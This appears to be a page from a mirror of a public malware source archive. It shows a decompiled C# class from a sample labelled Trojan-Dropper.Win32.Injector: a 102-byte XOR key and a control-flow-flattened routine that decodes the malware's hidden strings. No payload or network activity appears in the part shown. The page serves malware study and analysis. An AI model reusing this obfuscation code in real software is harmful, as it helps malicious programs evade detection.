mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
169 lines
3.1 KiB
C#
169 lines
3.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: <CliSecureRT>
|
|
// Assembly: Services, Version=1.0.0.0, Culture=neutral
|
|
// MVID: 9B55F703-4EB8-46BB-927B-A4635A31F4B1
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.ecsd-79d34bc92c1ccd50c2ace1b8d0affe89f1e3708f29417e71d554c784036e470d.exe
|
|
|
|
using System;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
|
|
internal class \u003CCliSecureRT\u003E
|
|
{
|
|
private static byte[] \u003123 = new byte[102]
|
|
{
|
|
(byte) 19,
|
|
(byte) 159,
|
|
(byte) 151,
|
|
(byte) 100,
|
|
(byte) 209,
|
|
(byte) 92,
|
|
(byte) 184,
|
|
(byte) 183,
|
|
(byte) 184,
|
|
(byte) 134,
|
|
(byte) 113,
|
|
(byte) 217,
|
|
(byte) 71,
|
|
(byte) 6,
|
|
(byte) 100,
|
|
(byte) 127,
|
|
(byte) 127,
|
|
(byte) 126,
|
|
(byte) 192,
|
|
(byte) 112,
|
|
(byte) 141,
|
|
(byte) 184,
|
|
(byte) 172,
|
|
(byte) 26,
|
|
(byte) 31,
|
|
(byte) 250,
|
|
(byte) 9,
|
|
(byte) 47,
|
|
(byte) 65,
|
|
(byte) 136,
|
|
(byte) 22,
|
|
(byte) 201,
|
|
(byte) 92,
|
|
(byte) 164,
|
|
(byte) 124,
|
|
(byte) 185,
|
|
(byte) 80,
|
|
(byte) 140,
|
|
(byte) 14,
|
|
(byte) 113,
|
|
(byte) 142,
|
|
(byte) 16,
|
|
(byte) 131,
|
|
(byte) 181,
|
|
(byte) 188,
|
|
(byte) 39,
|
|
(byte) 182,
|
|
(byte) 242,
|
|
(byte) 201,
|
|
(byte) 32,
|
|
(byte) 208,
|
|
(byte) 160,
|
|
(byte) 246,
|
|
(byte) 116,
|
|
(byte) 144,
|
|
(byte) 90,
|
|
(byte) 241,
|
|
(byte) 124,
|
|
(byte) 68,
|
|
(byte) 214,
|
|
(byte) 83,
|
|
(byte) 136,
|
|
(byte) 117,
|
|
(byte) 48,
|
|
(byte) 111,
|
|
(byte) 166,
|
|
(byte) 124,
|
|
(byte) 162,
|
|
(byte) 137,
|
|
(byte) 169,
|
|
(byte) 47,
|
|
(byte) 242,
|
|
(byte) 111,
|
|
(byte) 79,
|
|
(byte) 225,
|
|
(byte) 125,
|
|
(byte) 52,
|
|
(byte) 246,
|
|
(byte) 93,
|
|
(byte) 247,
|
|
(byte) 68,
|
|
(byte) 21,
|
|
(byte) 101,
|
|
(byte) 33,
|
|
(byte) 183,
|
|
(byte) 117,
|
|
(byte) 210,
|
|
(byte) 231,
|
|
(byte) 20,
|
|
(byte) 34,
|
|
(byte) 199,
|
|
(byte) 210,
|
|
(byte) 71,
|
|
(byte) 55,
|
|
(byte) 29,
|
|
(byte) 5,
|
|
(byte) 153,
|
|
(byte) 83,
|
|
(byte) 69,
|
|
(byte) 22,
|
|
(byte) 170,
|
|
(byte) 19
|
|
};
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
static \u003CCliSecureRT\u003E()
|
|
{
|
|
}
|
|
|
|
internal static string cs([In] string obj0)
|
|
{
|
|
label_2:
|
|
int num = 3;
|
|
StringBuilder stringBuilder;
|
|
int index;
|
|
bool flag;
|
|
while (true)
|
|
{
|
|
switch (num)
|
|
{
|
|
case 0:
|
|
flag = index < obj0.Length;
|
|
num = 1;
|
|
continue;
|
|
case 1:
|
|
if (flag)
|
|
{
|
|
stringBuilder.Append(Convert.ToChar((int) obj0[index] ^ (int) \u003CCliSecureRT\u003E.\u003123[index % \u003CCliSecureRT\u003E.\u003123.Length]));
|
|
if (true)
|
|
{
|
|
num = 2;
|
|
continue;
|
|
}
|
|
goto case 3;
|
|
}
|
|
else
|
|
goto label_9;
|
|
case 2:
|
|
++index;
|
|
goto case 0;
|
|
case 3:
|
|
stringBuilder = new StringBuilder();
|
|
index = 0;
|
|
num = 0;
|
|
continue;
|
|
default:
|
|
goto label_2;
|
|
}
|
|
}
|
|
label_9:
|
|
return stringBuilder.ToString();
|
|
}
|
|
}
|